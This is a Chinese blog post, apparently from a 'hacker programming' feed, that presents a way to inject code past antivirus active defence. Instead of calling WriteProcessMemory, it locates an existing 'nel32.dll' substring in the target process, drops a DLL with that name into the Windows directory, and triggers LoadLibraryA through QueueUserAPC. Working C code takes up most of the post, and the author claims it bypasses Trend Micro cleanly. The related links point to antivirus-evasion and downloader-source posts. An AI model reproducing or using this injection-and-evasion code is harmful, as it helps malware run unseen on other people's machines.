<p>其中第一种和第三种方法需要传入一个param，但是要求这个param必须在目标进程内存空间，之前的一些方法比较笨重，直接在目标进程VirtualAllocEx内存，然后把希望的参数内容写入这个内存，使用了WriteProcessMemory函数，而这个函数是被hook的，所以杀软可以很容易的拦截代码注入行为。</p>
<p>仔细想想，杀软的这种防御是很失败的！原因是为了要一个param，攻击者完全没有必要做这么大的动作去目标进程内存空间申请内存并写内存，我在思考是否可以不用WriteProcessMemory函数呢？反正我的目的就是得到一个合理的param，并且这个param是在目标进程内存空间即可！</p>
<p>思考后，原来一切是这么容易啊，哈哈！乐了我半天~~~</p>
<p>举个例子：假设我是这样注入的：</p>
<p>QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;</p>
<p>我想让上面的param的内容是一个&ldquo;xxx.dll&rdquo;,就可以了，而且要求这个param是在目标进程内存空间</p>
<p>您想到了么？哈哈</p>
<p>答案：直接在目标进程搜索一个这样的字符串&ldquo;nel32.dll&rdquo;就可以啦！因为&ldquo;kernel32.dll&rdquo; 这样的字符串是一定存在的，那么为了和&ldquo;kernel32.dll&rdquo; 不一样，那就随便使用一下&ldquo;nel32.dll&rdquo;，或者&ldquo;el32.dll&rdquo;，都是可以的啊！最后在往windows目录下面撂进入一个nel32.dll，这样注入大部分杀软都是不能拦截到的！哈哈！</p>
<p>写了段程序，做了个试验，仅测试了下趋势，完美绕过！其实杀软稍后测试。。。</p>
<p>&nbsp;</p>
<div class="codes">DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList) { TIDLIST *pCurrentTid = pThreadIdList ; const char szInjectModName[] = &quot;nel32.dll&quot;; DWORD dwLen = strlen(szInjectModName) ; ////////////////////////////////////////////////////////////////////////// //不写目标进程的内存 //直接在目标进程中搜索出 nel32.dll 这样的字符串 并注入 ////////////////////////////////////////////////////////////////////////// int bufflen=30000; char *buffer=(char *)malloc(sizeof(char)*bufflen); DWORD dwNumberOfBytesRead; DWORD defaultAddress; //获得该进程的基址 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ; if(!hSnapshot) { printf(&quot;CreateToolhelp32Snapshot error!\n&quot;); return 0; } MODULEENTRY32 me = { sizeof(me) }; BOOL fOk =Module32First(hSnapshot,&amp;me); if(!fOk) { printf(&quot;Module32First error!\n&quot;); return 0; } for (; fOk; fOk = Module32Next(hSnapshot,&amp;me)) { printf(&quot;%s process module name = %s\n&quot;,processName,me.szModule); // 取得进程模块基址 if(stricmp(me.szModule,processName)==0) { defaultAddress=(DWORD)me.modBaseAddr; printf(&quot;%s process module base = 0x%08X\n&quot;,processName,defaultAddress); break; } } //搜索 if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&amp;dwNumberOfBytesRead)) { printf(&quot;ReadProcessMemory error!\n&quot;); return 0; } for(int i=0;idwTid) ; if (hThread != NULL) { // // 注入DLL到指定进程 // QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ; } printf(&quot;TID:%d\n&quot;, pCurrentTid-&gt;dwTid) ; pCurrentTid = pCurrentTid-&gt;pNext ; } break; } } return 0 ; }</div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html" target="_blank">继续阅读《绕过主动防御的代码注入方法(非DELPHI代码)》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html" title="文件占坑法过360查杀!">文件占坑法过360查杀!</a>&nbsp;&nbsp;(2009-6-14 15:56:16)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/xiazaizheyuandaima.html" title="下载者源代码">下载者源代码</a>&nbsp;&nbsp;(2008-12-28 23:40:44)</p></ul>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=403</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=403&amp;key=eae18d3a</trackback:ping></item></channel></rss>
